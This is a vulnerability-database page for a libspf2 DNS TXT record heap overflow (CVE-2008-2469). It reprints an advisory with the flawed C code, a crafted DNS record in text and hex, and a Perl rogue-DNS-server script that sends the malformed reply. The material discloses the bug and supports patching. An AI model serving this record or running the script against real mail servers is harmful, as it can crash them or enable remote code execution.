libspf2 DNS TXT记录处理堆溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116460 漏洞类型 缓冲区溢出
发布时间 2008-10-22 更新时间 2008-11-14
CVE编号 CVE-2008-2469 CNNVD-ID CNNVD-200810-399
漏洞平台 Multiple CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/6805
https://www.securityfocus.com/bid/31881
https://cxsecurity.com/issue/WLB-2008100233
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200810-399
|漏洞详情
libspf2是用于实现SenderPolicyFramework的库,允许邮件系统检查SPF记录并确认邮件已经过域名授权。libspf2库的Spf_dns_resolv.c文件中的SPF_dns_resolv_lookup函数存在堆溢出漏洞,如果用户解析了带有特制长度字段的超长DNSTXT记录的话,就可能触发这个溢出,导致执行任意代码。DNSTXT记录中包含有两个长度字段,首先是记录的整体长度字段,其次是范围为0到255的子长度字段,用于描述记录中特定字符串的长度。这两个值之间没有任何联系,DNS服务器也没有强制任何过滤检查。在接收到DNSTXT记录时,外部的记录长度值是所要分配的内存数量,但拷贝的是内部的长度,这就可能会触发溢出。
|漏洞EXP
Advisory:  DNS TXT Record Parsing Bug in LibSPF2
Author:  Dan Kaminsky, Director of Penetration Testing, IOActive Inc, 
Dan.Kaminsky@ioactive.com (PGP Key In Appendix)
Abstract:

A relatively common bug parsing TXT records delivered over DNS, dating
at least back to 2002 in Sendmail 8.2.0 and almost certainly much
earlier, has been found in LibSPF2, a library frequently used to
retrieve SPF (Sender Policy Framework) records and apply policy
according to those records.  This implementation flaw allows for
relatively flexible memory corruption, and should thus be treated as a
path to anonymous remote code execution.  Of particular note is that the
remote code execution would occur on servers specifically designed to
receive E-Mail from the Internet, and that these systems may in fact be
high volume mail exchangers.  This creates privacy implications.  It is
also the case that a corrupted email server is a useful “jumping off”
point for attackers to corrupt desktop machines, since attachments can
be corrupted with malware while the containing message stays intact.  So
there are internal security implications as well, above and beyond
corruption of the mail server on the DMZ.

Recommendations:

If you are a major mail exchange, you should determine whether the SPAM
filters that protect your systems use LibSPF2.

If you are a vendor of anti-SPAM devices, or the author of an operating
system with components that may use LibSPF2, you should determine
whether LibSPF2 is used in any of your configurations and migrate to
LibSPF 1.2.8, found at:

    http://www.libspf2.org/index.html

If your product has a dependency on DNS TXT records, we recommend you
test it for the parsing bug that LibSPF2 was vulnerable to, since this
has been a problem for some time.  Name server implementations may want
to consider adding filtering themselves, though record validation is not
normally their job.

Details:  DNS TXT records have long been a little tricky to parse, due
to them containing two length fields.  First, there is the length field
of the record as a whole.  Then, there is a sublength field, from 0 to
255, that describes the length of a particular character string inside
the larger record.  There is nothing that links the two values, and DNS
servers to not themselves enforce sanity checks here.  As such, there is
always a risk that when receiving a DNS TXT record, the outer record
length will be the amount allocated, but the inner length will be copied.

In the past, we’ve seen this particular bug all over the place,
including in Sendmail.  This is just the same bug, showing up in LibSPF2
1.2.5:

Spf_dns_resolv.c#SPF_dns_resolv_lookup():

           case ns_t_txt:
           if ( rdlen > 1 )
           {
               u_char *src, *dst;
               size_t len;

               if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) !=
SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt
               return spfrr;

               dst = spfrr->rr[cnt]->txt;
               len = 0;
               src = (u_char *)rdata;
               while ( rdlen > 0 )
               {
               len = *src; // get a second length from the attacker
controlled datastream -- some value from 0 to 255, unbound to rdlen
               src++;
               memcpy( dst, src, len ); // copy that second length to
rdlen byte buffer.
               dst += len;
               src += len;
               rdlen -= len + 1;
               }
               *dst = '\0';

 For validation purposes, a build of LibSPF2 was instrumented, to
validate the heap overflow:

$ ./spfquery -ip=1.2.3.4 -sender=foo@bar.toorrr.com
buffer 8107080 has size 16
buffer 8107090 has size 16
buffer 81070a0 has size 16
writing 255 bytes to a 15 size buffer at 81070a0 // overflow
buffer 8123030 has size 234
writing 233 bytes to a 234 size buffer at 8123030
buffer 81060c0 has size 20
buffer 81060e0 has size 20
buffer 8123120 has size 234
buffer 8106100 has size 31
StartError
Context: Failed to query MAIL-FROM
ErrorCode: (2) Could not find a valid SPF record
Error: Invalid character in middle of mechanism near 'À
                                                       bar.toorrr'
Error: Failed to compile SPF record for 'bar.toorrr.com'
EndError
(invalid)

The actual record used to spawn this behavior was as follows:

;; HEADER SECTION
;; id = 63838
;; qr = 1    opcode = QUERY    aa = 1    tc = 0    rd = 1
;; ra = 0    ad = 0    cd = 0    rcode  = NOERROR
;; qdcount = 1  ancount = 2  nscount = 0  arcount = 0

;; QUESTION SECTION (1 record)
;; bar.toorrr.com.      IN      TXT

;; ANSWER SECTION (2 records)
bar.toorrr.com. 0       IN      TXT     "v=spf1 mx +all"
bar.toorrr.com. 0       IN      TXT    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

;; AUTHORITY SECTION (0 records)

;; ADDITIONAL SECTION (0 records)

Or, in hex:

          00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F 
0123456789ABCDEF

00000000  F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72 
.^...........bar
00000010  06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01 
.toorrr.com.....
00000020  C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73 
.............v=s
00000030  70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00  pf1 mx
+all.....
00000040  01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41 
........AAAAAAAA
00000050  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000060  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000070  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000080  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000090  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
000000A0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
000000B0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
000000C0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
000000D0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
000000E0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
000000F0  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000100  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000110  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000120  41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 
AAAAAAAAAAAAAAAA
00000130  41                                                 A

The altered length field, on 0x2C, is what’s causing the overflow. 
Sample code to reproduce the above is attached at the end of this paper.

Conclusion:

There’s nothing particularly special about this bug – we’ve even seen
this in mail servers before.  But it is apparently present on some very
high profile and high traffic systems.  SPF is a major part of how the
Internet attempts to filter SPAM, and while it’s not perfect, it is
pretty helpful.  LibSPF2 is one of the more common libraries out there
for handling SPF traffic, with billions of messages a day being
protected by it.

Unfortunately, that also means billions of messages a day are at risk –
the nature of this flaw is such that an attacker can force arbitrary (or
at least ASCII encoded, though no nameservers have been found that
enforce ASCII) bytes to be copied into a buffer too small to contain
them.  This is a straightforward anonymous remote code execution find,
made interesting specifically by where the bug happens to be.
 

Appendix:  Simple code to reproduce heap overflow.


# cat spfattack.pl
#!/usr/bin/perl
#

use Net::DNS;
use IO::Socket::INET;
use Data::HexDump;


my $qclass = "IN";
my $ttl = 10;

while (1){
   my $sock = IO::Socket::INET->new(
                                 LocalPort => '53',
                                 Proto     => 'udp');
   $sock->recv($newmsg, 2048);
   my $req    = Net::DNS::Packet->new(\$newmsg);
   $req->print;
   my $id = $req->header->id();
   my @q = $req->question;
   my $qname = $q[0]->qname;
   my $qtype = $q[0]->qtype;
   if($qtype eq "PTR") { next; }
   $answer = Net::DNS::Packet->new($qname, $qtype);
   if($qtype eq "TXT"){
      $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype
'v=spf1 mx +all'"));
      $answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'"));
   }
   if($qtype eq "MX"){}

   $answer->header->id($id);
   $answer->header->aa(1);
   $answer->header->qr(1);
   $answer->print;
   my $port =  $sock->peerport;
   my $peer = inet_ntoa($sock->peeraddr);

   $sock->shutdown(2);
   $sock = "";

   my $tempsock  = IO::Socket::INET->new(
                                         LocalPort=>'53',
                                         PeerAddr=>"$peer",
                                         PeerPort=>$port,
                                         Proto=>'udp');


   my $newans;

   $newans = $answer->data;
   if($qtype eq "TXT"){
     substr($newans, 44, 1, pack("c",0xff));
     print HexDump $newans;
   }
   $tempsock->send($newans);


   #my $packet = Net::DNS::Packet->new(\$newmsg);
}

# milw0rm.com [2008-10-22]
|受影响的产品
libspf2 libspf2 1.2.7 libspf2 libspf2 1.2.6 libspf2 libspf2 1.2.5 libspf2 libspf2 1.2.4 libspf2 libspf2 1.2.3 libspf2 libspf2 1.2.2 libspf2 libspf2 1.2.1
|参考资料

来源;US-CERT
名称:VU#183657
链接:http://www.kb.cert.org/vuls/id/183657
来源:BID
名称:31881
链接:http://www.securityfocus.com/bid/31881
来源:bugs.launchpad.net
链接:https://bugs.launchpad.net/ubuntu/feisty/+source/libspf2/+bug/271025
来源:answers.launchpad.net
链接:https://answers.launchpad.net/ubuntu/gutsy/+source/libspf2/1.2.5.dfsg-4ubuntu0.7.10.1
来源:XF
名称:libspf2-dnstxtrecord-bo(46055)
链接:http://xforce.iss.net/xforce/xfdb/46055
来源:MILW0RM
名称:6805
链接:http://www.milw0rm.com/exploits/6805
来源:VUPEN
名称:ADV-2008-2896
链接:http://www.frsirt.com/english/advisories/2008/2896
来源:MISC
链接:http://www.doxpara.com/?page_id=1256
来源:MISC
链接:http://www.doxpara.com/?p=1263
来源:DEBIAN
名称:DSA-1659
链接:http://www.debian.org/security/2008/dsa-1659
来源:up2date.astaro.com
链接:http://up2date.astaro.com/2008/11/up2date_7305_released.html
来源:SREASON
名称:4487
链接:http://securityreason.com/securityalert/4487
来源:GENTOO
名称:GLSA-200810-03
链接:http://security.gentoo.org/glsa/glsa-200810-03.xml
来源:SECUNIA
名称:32720
链接:http://secunia.com/advisorie